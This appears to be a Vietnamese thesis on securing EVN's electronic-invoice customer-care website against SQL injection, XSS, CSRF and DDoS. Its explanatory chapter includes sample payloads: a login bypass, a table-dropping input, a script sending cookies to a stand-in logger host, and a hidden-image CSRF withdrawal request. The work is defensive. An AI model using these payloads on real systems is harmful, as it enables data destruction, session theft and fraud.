Bảo mật an toàn thông tin cho phần mềm hóa đơn điện tử của tập đoàn điện lực

Hiện nay các Tổng công ty Điện lực đều đang sử dụng hình thức hóa đơn tự in trong hoạt động bán điện theo quy định thống nhất của EVN.. Nghiệp vụ kinh doanh điện năng của các Tổng công t

MỤC LỤC

MỤC LỤC 1

LỜI CÁM ƠN 4

LỜI CAM ĐOAN 5

BẢNG CÁC TỪ VIẾT TẮT 6

MỤC LỤC HÌNH VẼ 7

CHƯƠNG I: ĐẶT VẤN ĐỀ 8

1 Bài toán triển khai hóa đơn điện tử 8

2 Yêu cầu của bài toán 11

3 Cơ sở lý luận 14

4 Giải pháp lựa chọn 15

4.1 Mức xây dựng mã nguồn ứng dụng 15

4.2 Mức cơ sở dữ liệu 15

4.3 Mức kiến trúc chương trình 15

4.4 Mô hình triển khai 15

5 Kết quả mong đợi 16

CHƯƠNG II: TÌM HIỂU VẤN ĐỀ 17

1 Các lỗ hổng bảo mật 17

1.1 SQL injection 17

1.1.1 Khái niệm 17

1.1.2 Các kỹ thuật tấn công SQL injection 17

1.2 Cross-Site Scripting (XSS) 20

1.2.1 Khái niệm 20

1.2.2 Nguyên lý hoạt động XSS 20

1.2.3 Phân loại các hình thức tấn công bằng XSS 21

1.3 Cross Site Request Forgery (CSRF) 23

1.3.1 Khái niệm 23

1.3.2 Mức độ nguy hiểm 23

1.3.3 Mô tả kỹ thuật 23

1.3.4 Khái niệm Social Engineering 24

2 Kỹ thuật tấn công từ chối dịch vụ 25

2.1 Nguyên tắc 25

2.2 Các mô hình tấn công DdoS 26

2.2.1 Mô hình Agent – Handler: 26

2.2.2 Mô hình IRC – Based: 27

2.3 Phân loại tấn công DdoS 27

2.3.1 Làm cạn kiệt băng thông của mạng 28

2.3.2 Làm cạn kiệt tài nguyên 28

2.4 DRDoS (Distributed Reflection Denial of Service) 31

2.4.1 Khái niệm: 31

2.4.2 Cách thức thực hiện tấn công DRDoS 31

CHƯƠNG III: GIẢI QUYẾT VẤN ĐỀ 33

1 Các kỹ thuật phòng chống 33

1.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng 33

1.1.1 Lọc dữ liệu đầu vào 33

1.1.2 Xây dựng truy vấn theo mô hình tham số hóa 42

1.1.3 Sử dụng các Store Procedure / Package 45

1.1.4 Mã hóa đầu ra 48

1.1.5 Sử dụng Captchar 50

1.1.6 Kiểm tra Referrer 53

1.2 Phòng chống từ mức cơ sở dữ liệu 54

1.2.1 Quản lý các dữ liệu nhạy cảm 54

1.2.2 Phân quyền DB 56

1.2.3 Giới hạn các IP có thể truy cập vào database 58

1.3 Phòng chống từ mức kiến trúc chương trình 58

1.3.1 Sử dụng web service 58

1.3.2 Giới hạn quyền truy cập web service 60

2 Mô hình triển khai 62

2.1 Khái niệm DMZ 62

2.2 Mô hình thiết kế DMZ 63

2.3 Hiện trạng tại HCMPC 65

2.4 Mô hình đề xuất 67

2.5 Một số kiến nghị bổ sung 67

CHƯƠNG IV: KẾT LUẬN 70

1 Một số kết quả đạt được 70

1.1 Quét lỗi SQL Injection 70

1.2 Quét lỗi XSS 71

1.3 Quét lỗi CSRF 72

2 Hướng phát triển của đề tài 73

TÀI LIỆU THAM KHẢO 75

LỜI CÁM ƠN

Để có được đồ án này, em xin bày tỏ lòng biết ơn sâu sắc đến các thầy cô giáo trong trường Đại học Bách Khoa Hà Nội nói chung và viện Công nghệ thông tin – Truyền thông nói riêng, những người đã tận tình giảng dạy, truyền đạt cho em những kiến thức quý báu trong thời gian học vừa qua

Em xin chân thành cảm ơn thầy giáo hướng dẫn, Tiến sĩ Trần Đức Khánh, Bộ môn Hệ thống Thông tin - Viện Công nghệ Thông tin - Truyền thông, Trường Đại học Bách Khoa Hà Nội đã nhiệt tình hướng dẫn, chỉ bảo và cung cấp cho em nhiều kiến thức cũng như tài liệu quý trong suốt quá trình làm luận văn Nhờ sự giúp đỡ của thầy

em mới có thể hoàn thành được luận văn này

Em xin chân thành cảm ơn các cô chú, các anh chị, cùng các bạn đồng nghiệp tại phòng Hệ thống giải pháp kinh doanh, Trung tâm công nghệ thông tin – Tập đoàn điện lực Việt Nam, những người đã tạo điều kiện về cơ sở vật chất, phương tiện làm việc cũng như truyền đạt những kinh nghiệm qúy báu cho em trong thời gian làm việc

và nghiên cứu đề tài tại đây

Cuối cùng, xin cảm ơn gia đình, bạn bè, những người luôn ở bên tôi và cho tôi những sự động viên lớn lao trong thời gian thực hiện luận văn này

LỜI CAM ĐOAN

Tôi xin cam đoan luận văn này là công trình nghiên cứu của chính bản thân Các nghiên cứu trong luận văn này dựa trên những tổng hợp lý thuyết và hiểu biết thực tế, không sao chép

DMZ Demilitarized Zone (vùng phi quân sự)

DRDoS Distributed Reflection Denial of Service

CMIS Hệ thống phần mềm Quản lý thông tin khách hàng

HCMPC/EVNHCMC Tổng công ty điện lực Hồ Chí Minh

MỤC LỤC HÌNH VẼ

Hình 1 - Thống kê các lỗ hổng bảo mật chiếm tỷ lệ lớn 12

Hình 2 – Kết quả quét lỗi SQL Injection khi có sự cố 13

Hình 3 – Kết quả quét lỗi XSS khi có sự cố 13

Hình 4 – Mô hình triển khai dual firewall 15

Hình 5 – Minh họa quá trình tấn công Stored XSS 21

Hình 6 – Hiển thị kết quả Stored XSS trên máy victim 22

Hình 7 – Hiển thị kết quả Reflected XSS trên máy victim 22

Hình 8 – Kiến trúc attack-network kiểu Agent – Handler 26

Hình 9 – Kiến trúc attack-network của kiểu IRC-Base 27

Hình 10 – BandWith Depletion Attack - Amplification attack 28

Hình 11 –Protocol Exploit Attack: Cơ chế TCP SYN/ACK 29

Hình 12 –Protocol Exploit Attack: Dùng IP không có thực 29

Hình 13 –Protocol Exploit Attack: Kết quả 30

Hình 14 – Sơ đồ mô tả kiểu tấn công DRDOS 32

Hình 11 – Mô hình triển khai web service 59

Hình 16 – Mô hình định nghĩa DMZ 63

Hình 17 – Mô hình DMZ - single firewall 64

Hình 18 – Mô hình DMZ - dual firewall 65

Hình 19 – Mô hình mạng truyền dẫn tại HCMPC 65

Hình 20 – Hệ thống mạng logic tại HCMPC 66

Hình 21 – Mô hình triển khai đề xuất tại Tổng công ty điện lực HCM 67

Hình 22 – Mô hình lưu trữ 2 Data Center 68

Hình 23 – Đề xuất bổ sung về lớp an ninh bảo mật mạng 69

Hình 24 – Kết quả quét lỗi SQL Injection – Trước 70

Hình 25 – Kết quả quét lỗi SQL Injection - Sau 71

Hình 26 – Kết quả quét lỗi XSS – Trước 71

Hình 27 – Kết quả quét lỗi XSS - Sau 72

Hình 28 – Kết quả quét lỗi CSRF – Trước 72

Hình 29 – Kết quả quét lỗi CSRF - Sau 73

CHƯƠNG I: ĐẶT VẤN ĐỀ

Tập đoàn Điện lực Việt Nam là doanh nghiệp hoạt động với ngành, nghề kinh doanh chính là sản xuất, truyền tải, phân phối và kinh doanh mua bán điện năng; chỉ huy điều hành hệ thống sản xuất, truyền tải, phân phối và phân bổ điện năng trong hệ thống điện quốc gia; xuất nhập khẩu điện năng; đầu tư và quản lý vốn đầu tư các dự án điện; quản lý, vận hành, sửa chữa, bảo dưỡng, đại tu, cải tạo, nâng cấp thiết bị điện, công trình điện; thí nghiệm điện

Thực hiện nhiệm vụ cung cấp điện cho nhu cầu phát triển kinh tế - xã hội của đất nước, bên cạnh lĩnh vực sản xuất và truyền tải điện năng, EVN có 5 tổng công ty điện lực kinh doanh điện năng đến khách hàng là Tổng công ty Điện lực miền Bắc (EVN NPC), Tổng công ty Điện lực miền Nam (EVN SPC), Tổng công ty Điện lực miền Trung (EVN CPC), Tổng công ty Điện lực TP Hà Nội (EVN HANOI), Tổng công ty Điện lực TP Hồ Chí Minh (EVN HCMPC), phạm vi bao gồm toàn bộ 63 tỉnh, thành 3 miền Bắc, Trung, Nam Năm 2012, số khách hàng mua điện của EVN khoảng 20 triệu khách hàng sử dụng điện (trong đó khách hàng ký hợp đồng sử dụng điện cho mục đích sinh hoạt chiếm 93,5%), phát hành 242,5 triệu hóa đơn/năm và doanh thu xấp xỉ

142 nghìn tỷ đồng/năm Hiện nay các Tổng công ty Điện lực đều đang sử dụng hình thức hóa đơn tự in trong hoạt động bán điện theo quy định thống nhất của EVN

Nghiệp vụ kinh doanh điện năng của các Tổng công ty Điện lực bao gồm công tác quản lý các thông tin khách hàng, hệ thống đo đếm, hóa đơn tiền điện, hệ thống thanh toán, quản lý lưới phân phối, quản lý tổn thất, báo cáo kinh doanh, hỗ trợ điều hành, và các dịch vụ chăm sóc khách hàng Toàn bộ các thông tin này được quản lý bởi hệ thống phần mềm Quản lý thông tin khách hàng – CMIS 2.0 do Trung tâm Công nghệ Thông tin xây dựng nhằm phục vụ công tác kinh doanh và quản lý khách hàng tại 105 Công ty Điện lực trực thuộc cũng như công tác quản lý và hoạch định chiến lược ở cấp Tổng Công ty

Theo số liệu năm 2012, 05 Tổng công ty Điện lực thuộc EVN đã phát hành 242,5 triệu hóa đơn bán điện cho các khách hàng thuộc địa bàn quản lý Nếu tạm tính chi phí

in ấn hóa đơn tự in là khoảng 500đ/hóa đơn, trong năm 2012, toàn EVN phải tiêu tốn khoảng 121 tỷ đồng chi phí in hóa đơn, chưa kể phí lưu kho liên 1 hóa đơn Với tốc độ tăng trưởng khách hàng khoảng +5%/năm thì chi phí in ấn hóa đơn và quản lý hóa đơn của EVN dự kiến cho năm 2020 sẽ là khoảng 357 tỷ đồng

Với qui mô và tốc độ tăng trưởng hiện tại, các Tổng công ty Điện lực thực sự đang gặp nhiều thách thức lớn trong công tác kinh doanh Để duy trì được toàn bộ bộ máy kinh doanh vận hành ổn định, hiệu quả cũng như đáp ứng được yêu cầu tăng trưởng của hệ thống trong vòng 5 năm tới, điều kiện sống còn đối với hệ thống kinh doanh là phải tìm ra giải pháp tiết kiệm chi phí sản xuất, nâng cao hiệu suất lao động, giảm thời gian thu nợ, nâng cao dịch vụ khách hàng và nâng cao trình độ quản lý, ứng dụng công nghệ thông tin cho đội ngũ nhân lực, vv…

Theo xu hướng phát triển tất yếu trên thế giới và tại Việt Nam của loại hình hóa đơn điện tử trong các hoạt động kinh doanh, giao dịch ngân hàng, tài chính, kế toán, quản lý thuế bởi khả năng tự động hóa qui trình của hệ thống máy tính và mạng Internet cùng với các ưu điểm: giảm chi phí in hóa đơn; tăng năng suất lao động; đa dạng hình thức thanh toán điện tử; nâng cao năng lực cạnh tranh của doanh nghiệp và

hỗ trợ cơ quan thuế quản lý việc kê khai thuế; việc đưa vào triển khai nhân rộng hóa đơn điện tử trong hoạt động kinh doanh bán điện tại các Tổng công ty Điện lực là nhu cầu hết sức cần thiết

Kết quả triển khai hóa đơn điện tử tại EVN HCMPC

Theo chỉ đạo của EVN, chương trình hóa đơn điện tử đã được Trung tâm Công nghệ thông tin thực hiện xây dựng bắt đầu từ 05/2012; triển khai thí điểm tại Công ty điện lực Sài Gòn thuộc EVN HCMC từ 09/2012 Đến thời điểm hiện tại, toàn bộ các quy trình lập và quản lý hóa đơn điện tử đã được thực hiện tại Công ty điện lực Sài Gòn, bao gồm từ khâu lập hóa đơn, ký hóa đơn điện tử và phát hành, quản lý thu và theo dõi nợ, gửi hóa đơn điện tử cho khách hàng qua email và trang Web CSKH

Về mặt quy trình nghiệp vụ, phương án triển khai áp dụng hóa đơn điện tử tại Sài Gòn

có một số điểm đáng chú ý như sau:

 Hiệu chỉnh quy trình lập hóa đơn tự in hiện tại phù hợp với việc lập hóa đơn điện tử Hóa đơn điện tử sau khi lập xong ngay lập tức được tự động phát hành

 Hiệu chỉnh quy trình thu và theo dõi nợ và bổ sung, hiệu chỉnh các mẫu in biên nhận thanh toán (thanh toán tại nhà sử dụng máy POS, thanh toán tại quầy thu của đơn vị, thanh toán tại quầy của đơn vị thu hộ) Tùy theo các hình thức thanh toán, khách hàng sẽ được nhận biên nhận thanh toán theo hình thức:

hàng sẽ nhận được biên nhận xác nhận thanh toán theo mẫu do EVNHCMC phát hành

khác có ký hợp đồng dịch vụ thu hộ tiền điện (ngân hàng, bưu cục,…):

Khách hàng sẽ nhận được biên nhận xác nhận thanh toán theo mẫu có sẵn của các ngân hàng, các đối tác thực hiện dịch vụ thu hộ,…

o Ủy nhiệm thu: Khách hàng sẽ nhận được giấy ủy nhiệm thu do Công ty

Điện lực phát hành có đóng dấu xác nhận đã thanh toán tiền điện

của ngân hàng xác nhận đã thanh toán tiền điện

o Đối với các khách hàng thanh toán qua internet: Khách hàng sẽ nhận

được xác nhận của nhà cung cấp

o Đối với các khách hàng thanh toán qua hình thức nhắn tin SMS: Tin

nhắn SMS được coi như là chứng từ xác nhận thanh toán

 Hóa đơn điện tử được gửi cho khách hàng theo 2 hình thức sau:

Hóa đơn điện tử

o Qua email: Hóa đơn điện tử được đính kèm với email gửi đến địa chỉ do

khách hàng đã đăng ký trước

Đối với hóa đơn điện tử được trả qua email, hệ thống sẽ căn cứ vào kết quả chấm

nợ sau khi kết chuyển từ POS và chương trình thu hộ để lập danh sách khách hàng cần gửi email Email gửi trả hóa đơn điện tử có định dạng theo mẫu do EVN qui định Hệ thống CMIS 2.0 sẽ chuyển email vào hàng đợi của hệ thống Email Server của EVN HCMC Hệ thống Email Server sẽ gửi các email này đến địa chỉ của khách hàng

 Việc kê khai thuế của khách hàng có thể tiến hành theo các hình thức sau:

o Sử dụng hóa đơn điện tử trực tiếp: khách hàng thực hiện kê khai thuế sử

dụng thông tin có sẵn trong hóa đơn điện tử nhận từ Công ty điện lực Khách hàng có thể hiệu chỉnh phần mềm kế toán của mình để phần mềm kế toán có thể hiểu được nội dung hóa đơn điện tử do ngành điện phát hành

o Sử dụng hóa đơn điện tử chuyển đổi ra giấy: khách hàng sử dụng các

thông tin trên hóa đơn điện tử chuyển đổi ra giấy (ngày lập, ký hiệu, serie, người bán, tỷ lệ thuế, tổng tiền, tiền thuế, ) để kê khai thuế tương tự như với hóa đơn tự in

khai thuế lấy từ các thể hiện của hóa đơn điện tử Cục thuế địa phương có thể tra cứu và xác thực hóa đơn của khách hàng tại trang web Chăm sóc khách hàng của EVN Do đó, cục thuế địa phương cần được cấp tài khoản

truy nhập website này

Như đã nói ở trên, hóa đơn điện tử sau khi thanh toán sẽ được chuyển đến cho khách hàng bằng 2 con đường

 Qua trang web Chăm sóc khách hàng: khách hàng đăng nhập và download Hóa đơn điện tử

 Qua email: Hóa đơn điện tử được đính kèm với email gửi đến địa chỉ do khách hàng đã đăng ký trước

Trong đó việc sử dụng trang web Chăm sóc khách hàng được đặt lên hàng đầu, đơn giản do việc thu thập địa chỉ email của khách hàng vốn không được chú trọng Dữ liệu được lưu trữ trong cơ sở dữ liệu của trang web Chăm sóc khách hàng rất lớn, riêng đối với HCMPC lên đến 2 triệu khách hàng, trung bình 24 triệu hóa đơn mỗi năm

Ngoài ra ngay trong thời điểm mới triển khai thử nghiệm trang web Chăm sóc khách hàng vào tháng 2 năm 2013, hệ thống đã bị sự cố lớn, trang web không truy cập được, máy chủ CSDL cũng không kết nối được Cả quá trình khắc phục sự cố kéo dài đến 12 tiếng đồng hồ, bao gồm việc cài đặt khôi phục lại máy chủ Application và máy chủ CSDL Qua tìm hiểu vấn đề thì nguyên nhân chính là do trang web Chăm sóc khách hàng bị tấn công DdoS, lượng request tăng đột biến khiến hệ thống không đáp

ứng kịp và sụp đổ, kéo theo máy chủ CSDL cũng bị tràn session không mở thêm được kết nối nữa Sau khi phục hồi hệ thống, việc trước mắt phải thực hiện là đảm bảo sự cố không xảy ra nữa Qua việc tham khảo thống kê các lỗi bảo mật hay gặp nhất trên website http://www.acunetix.com, nhận thấy lỗ hổng bảo mật SQL Injection và XSS chiếm tỷ lệ lớn nhất như hình dưới đây:

Hình 1 - Thống kê các lỗ hổng bảo mật chiếm tỷ lệ lớn

Bên cạnh đó khi sử dụng phần mềm quét lỗi bảo mật Acunetix Web Vulnerability Scanner quét kiểm thử những lỗi trên, kết quả quét ra cho thấy trang web Chăm sóc khách hàng ẩn chứa quá nhiều lỗi bảo mật

Ví dụ khi quét lỗi SQL Injection, kết quả trong hình cho thấy số lượng lỗi nghiêm trọng lên đến 25 lỗi Phần bên phải của hình cho tổng số cảnh báo là 119, trong đó cảnh báo lỗi SQL Injection nghiêm trọng là 25 cảnh báo Phần bên trái là chi tiết các chức năng, các điều khiển có thể bị lợi dụng để tấn công

Hình 2 – Kết quả quét lỗi SQL Injection khi có sự cố

Tương tự, quét lỗi XSS bằng phần mềm này, cho kết quả 32 lỗi nghiêm trọng thể hiện trong hình 3

Hình 3 – Kết quả quét lỗi XSS khi có sự cố

Việc phục hồi hệ thống mất đến 12 tiếng, phải phục hồi cả Application server và Database server cho thấy mô hình triển khai của hệ thống không có tính phân tách giữa các lớp mạng, không hạn chế được tầm ảnh hưởng của các cuộc tấn công

Do vậy đề tài sẽ tập trung vào việc giải quyết các vấn đề sau:

 Đảm bảo an toàn trước các lỗ hổng thông dụng nhất như SQL Injection, XSS, CSRF

 Tăng cao khả năng chịu tải cũng như khả năng phục hồi của trang web trong trường hợp bị tấn công từ chối dịch vụ DDoS

Các giải pháp được đưa ra trong đề tài dựa trên tiêu chuẩn TCVN 27002:2011 về Công nghệ thông tin – Các kỹ thuật an toàn – An toàn mạng Tài liệu đưa ra rất nhiều chuẩn an toàn cho các mạng khác nhau, nhưng dựa trên yêu cầu của đề tài, em chỉ lựa chọn các tiêu chuẩn thích hợp, gồm các mục sau:

 Mục 10.4.1: Biện pháp chống lại mã độc: nêu các biện pháp phát hiện, ngăn chặn, khôi phục để bảo vệ chống lại mã độc và các thủ tục xác thực người dùng

 Mục 11.4.7: Kiểm soát định tuyến mạng: nêu các biện pháp phân vùng theo chiều sâu để giới hạn ảnh hưởng của các cuộc tấn công thành công cũng như tăng khả năng phục hồi của hệ thống

 Mục 10.9.3: Thông tin công bố công khai: Các biện pháp an toàn để bảo vệ tính toàn vẹn của thông tin trên một hệ thống thông tin công bố công khai cũng như việc ngăn chặn chỉnh sửa bất hợp pháp

 Mục A.13.3: Dữ liệu tập trung nội bộ: Các biện pháp phân vùng thông tin, và cho phép truy cập thông tin thông qua một cổng duy nhất Đồng thời ghi nhật

ký hoạt động của các user trên phân vùng đó

4 Giải pháp lựa chọn

4.1 Mức xây dựng mã nguồn ứng dụng

 Lọc dữ liệu đầu vào

 Tham số hóa câu truy vấn dữ liệu

 Mã hóa dữ liệu nhạy cảm trong cơ sở dữ liệu

 Phân quyền truy cập cơ sở dữ liệu

 Giới hạn IP truy cập cơ sở dữ liệu

4.3 Mức kiến trúc chương trình

 Sử dụng web service

 Giới hạn quyền truy cập web service

4.4 Mô hình triển khai

Trang web Chăm sóc khách hàng sẽ được triển khai theo mô hình DMZ dual firewall như hình vẽ dưới đây:

Hình 4 – Mô hình triển khai dual firewall

Theo hình mô tả, trang web Chăm sóc khách hàng được dựng lên trong lớp mạng DMZ, còn web service và database được triển khai trong lớp Intranet

5 Kết quả mong đợi

 Phòng tránh trang web Chăm sóc khách hàng trước kỹ thuật tấn công cơ bản thông dụng nhất như SQL Injection, XSS, CSRF

 Tăng cao khả năng chịu tải cũng như khả năng phục hồi của trang web trong trường hợp bị tấn công từ chối dịch vụ DDoS

 Giảm thiểu được nguy cơ mất cắp dữ liệu từ các truy vấn trái phép

CHƯƠNG II: TÌM HIỂU VẤN ĐỀ

Do mục tiêu của đề tài là đảm bảo an toàn trước các kỹ thuật tấn công cơ bản nhất như SQL Injection, XSS, CSRF, và tăng cao khả năng chịu tải của trang web trong trường hợp bị tấn công từ chối dịch vụ DDoS Vậy ít nhất chúng ta phải trả lời được các câu hỏi sau

 SLQ Injection, XSS, CSRF là gì?

 Cách thức thực hiện của SQL Injection, XSS, CSRF?

 DDoS là gì?

 Ứng xử như nào khi bị DDoS?

Trong phần tiếp theo, chúng ta sẽ cùng tìm hiểu và trả lời các câu hỏi trên

- Các cơ sở dữ liệu bị ảnh hưởng bởi tấn công SQL injection: MySQL, SQL server, Oracle…

- Trong năm 2012 vẫn có tới 2.203 website của các cơ quan doanh nghiệp tại Việt Nam bị tấn công, chủ yếu thông qua các lỗ hổng trên hệ thống mạng So với năm 2011 (có 2.245 website bị tấn công), con số này hầu như không giảm (Theo thống kê của Bkav.com.vn)

1.1.2 Các kỹ thuật tấn công SQL injection

1.1.2.1 Tấn công vượt qua đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web

Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người

dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp

Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập

Ví dụ : giả sử ứng dụng web có đoạn mã sau:

SQLQuery= ―SELECT Username FROM Users WHERE Username= ‗‖ & strUsername & ―‘ AND Password= ‗‖ & Password & ―‘‖

flag= GetQueryResult (SQLQuery)

Câu lệnh SQL lúc này như sau:

Select *from users where username=‘‘or 1=1 'and password =‘‘

Việc kiểm tra password đã bị vô hiệu hóa trong khi điều kiện1=1 thì luôn luôn đúng, nên khi duyệt bảng users chỉ cần thấy có người dùng thứ nhất là đã đưa ra kết quả Kết hợp với kí tự đặc biệt của SQL :

- kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

- kí tự “ ” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Ví dụ

Username: ‘; drop table Users

Password:

Câu lệnh SQL lúc này như sau:

SELECT Username FROM Users WHERE Username= ‗‘;drop table Users AND Password= ‗‖ & Password & ―‘‖

Với câu lệnh trên thì bảng Users sẽ bị xóa hoàn toàn

1.1.2.2 Tấn công Union base

Khai thác thông tin qua việc sử dụng union base là một hình thức tấn công phổ biến Các điểm yếu SQL injection có thể khai thác được thông qua union là dạng điểm yếu mà thông tin trả về có thể được hiện thị trực tiếp trên thông tin phản hồi Toán tử union sẽ thực hiện ghép dữ liệu các truy vấn gốc và truy vấn khai thác Điều kiện là 2 truy vấn này phải trả về cùng số cột và số cột này có cùng kiểu dữ liệu Trong ví dụ nêu ở phần “Tấn công vượt qua đăng nhập” nếu hacker truyền vào dạng như sau

SELECT Username FROM Users WHERE Username= ‗‘ union select Username from table Users WHERE Username= ‗admin‘—AND Password= ‗‖ & Password & ―‘‖

Trong trường hợp username và password có cùng kiểu dữ liệu, hacker sẽ đăng nhập được với quyền admin Tất nhiên câu lệnh còn phụ thuộc vào dữ liệu khi đó có giá trị của user admin hay không Việc tấn công bằng union thường được kết hợp với kiểu tấn công Blind SQL Injection, sẽ được giới thiệu ngay sau đây

1.1.2.3 Tấn công Blind SQL injection

Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công Nó có thể gây

ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit dữ liệu Những kẻ tấn công còn có thể

sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn

Ví dụ:

http://victim/showproduct.asp?catid=1

Kết quả trả về là 5 sản phẩm xuất hiện trên trang web

=> Không sản phẩm nào xuất hiện

Ta có thể khai thác lỗ hổng này bằng tùy biến chuỗi truy vấn được nối phía sau để dò tìm các thông tin hữu ích

1.1.2.4 Tấn công XPATH Injection

Giống như Blind SQL Injection, nhưng áp dụng cho XMLDatabase Tuy nhiên hiện tại việc áp dụng CSDL lưu trữ trên các file XML hầu như không còn phổ biến do sự phát triển mạnh mẽ của các hệ quản trị CSDL như SQL Server, Oracle, My SQL v v Do

đó chúng ta sẽ không đi sâu vào chi tiết đối với kiểu tấn công trên database dạng này

1.2 Cross-Site Scripting (XSS)

1.2.1 Khái niệm

Cross-Site Scripting (XSS) là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng cách chèn vào url, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra

1.2.2 Nguyên lý hoạt động XSS

Khi website đã bị chèn các thẻ html hay những đoạn mã script nghĩa là đã gửi các request từ máy client đến server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc 1 file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới 1 trang fishing mà hacker đã thiết lập từ trước hay bị cài đặt các chương trình virus, Trojan, backdoor trên máy victim tùy vào mệnh lệnh của hacker

1.2.3 Phân loại các hình thức tấn công bằng XSS

Ví dụ Tom là nhân viên, anh ta chỉnh sửa hồ sơ của mình tại trường địa chỉ thêm một đoạn script

<script> alert(―‖+doccument.cookie);</script>

Hình 5 – Minh họa quá trình tấn công Stored XSS

Với câu lệnh alert(“”+doccument.cookie) thay bằng đoạn mã khác ví dụ như gửi thông tin cookie về địa chỉ host của anh ta

<script>document.location="http://www.hishost

/CookieLogger.php?cookie=" + document.cookie;</script>

Khi một thành viên quả lý click vào xem thông tin của Tom , đoạn script thực hiện, ở trong hình sẽ hiện thông báo về cookie

Hình 6 – Hiển thị kết quả Stored XSS trên máy victim

Thử tưởng tượng một chút câu lệnh chèn được thay bằng câu lệnh trỏ sang một URL độc hại khai thác các thông tin cookie, khi đó trên hình vẽ sẽ không phải là câu alert đơn giản nữa, thay vào đó là trình duyệt bật lên 1 trang web lạ, người dùng sẽ bị lấy mất thông tin cá nhân mà không hề hay biết

1.2.3.2 Reflected XSS

Trong hình thức này hacker gắn thêm một đoạn mã vào ULR của trang web chúng ta

và gửi đến người dung bằng email

http://chilai.com/vietnamese/san_pham/timkiem.php?q=a%22%3E%3E%3Cs cript%3Ealert%28%2FChecked+by+robot+EVNIT+

%2F%29%3C%2Fscript%3E+&Submit.x=21&Submit.y=14

Hình 7 – Hiển thị kết quả Reflected XSS trên máy victim

Người dùng cảm thấy đường link có vẻ tin cậy được và click vào link này, kết quả là đoạn mã độc được thực thi Trong hình vẽ đoạn mã thực thi là alert một câu lên cửa sổ trình duyệt

1.3 Cross Site Request Forgery (CSRF)

1.3.1 Khái niệm

CSRF ( Cross Site Request Forgery ) là kĩ thuật tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với 1 website khác Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh http từ người sử dụng, sau đó thực thi các câu lệnh này

CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng web.Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ được thực hiện với quyền chứng thực của người sử dụng

CSRF còn được gọi là "session riding", "XSRF"

1.3.2 Mức độ nguy hiểm

Các kiểu tấn công CSRF xuất hiện từ những năm 1990, tuy nhiên các cuộc tấn công này xuất phát từ chính IP của người sử dụng nên log file của các website không cho thấy các dấu hiệu của CFRS Các cuộc tấn công theo kĩ thuật CSRF không được báo cáo đầy đủ, đến năm 2007 mới có một vài tài liệu miêu tả chi tiết về các trường hợp tấn công CSRF

Năm 2008 người ta phát hiện ra có khoảng 18 triệu người sử dụng eBay ở Hàn Quốc mất các thông tin cá nhân của mình Cũng trong năm 2008, một số khách hàng tại ngân hàng Mexico bị mất tài khoản cá nhân của mình Trong 2 trường hợp kể trên hacker đều sử dụng kĩ thuật tấn công CSRF

1.3.3 Mô tả kỹ thuật

Bob duyệt qua 1 diễn đàn yêu thích của mình như thường lệ Một người dùng khác, Malory, đăng tải 1 thông điệp lên diễn đàn Giả sử rằng Malory có ý đồ không tốt và anh ta muốn lấy tiền từ những người có tài khoản tại ngân hàng như Bob Malory sẽ tạo 1 thông báo, trong đó có chèn 1 đoạn code như sau:

Mexico Bank has just announce a new interest rate

<img height=0" width="0" src="http://mexicobank.com/withdraw

trên và nó sẽ được thực hiện bằng quyền chứng thực của Bob

Các kĩ thuật CSRF rất đa dạng, lừa người dùng click vào link, gửi email chứa các đoạn mã độc đến người dùng Hacker còn có thể che giấu các link ở trên rất khéo léo Ví dụ trong trường hợp thẻ "<img", người dùng có thể nhận ra nếu vào đường link chứa trong:

src="http://mexicobank.com/withdraw?

account=bob_id&amount=1000000&for=Malory_ id"/>

Tuy nhiên người dùng sẽ rất khó phát hiện nếu hacker dùng đường link như sau :

<img height="0" width="0" src=" http://www.ahackersite.com/abc.jpg"/>

và cấu hình lại máy chủ

Redirect 302/abc.jpg http://mexicobank.com/withdraw?

account=bob_id&amount=1000000&for=Malory_ id"/>

Một chú ý là cần phải có 1 chút kĩ thuật Social Engineering để có thể biết được victim

sử dụng tài khoản ngân hàng nào,account của dịch vụ nào và forum thường hay vào là

gì

1.3.4 Khái niệm Social Engineering

Social Engineering là phương pháp tấn công phi kỹ thuật, dựa trên sự thiếu hiểu biết của người dùng để lừa gạt họ cung cấp các thông tin nhạy cảm như username password hay các thông tin quan trọng khác Chính vì yếu tố tấn công phi kỹ thuật dựa trên sự thiếu hiểu biết, không đề phòng của người sử dụng mà dạng tấn công này được xem là dạng tấn công nguy hiểm nhất

Một số ví dụ về Social Engineering Attack

 Attacker gọi điện cho nhân viên quản lý CSDL và bảo rằng anh ta đang tiến hành một số thao tác bảo trì máy tính, và yêu cầu nhân viên này cung cấp tài khoản để đăng nhập máy chủ CSDL trên

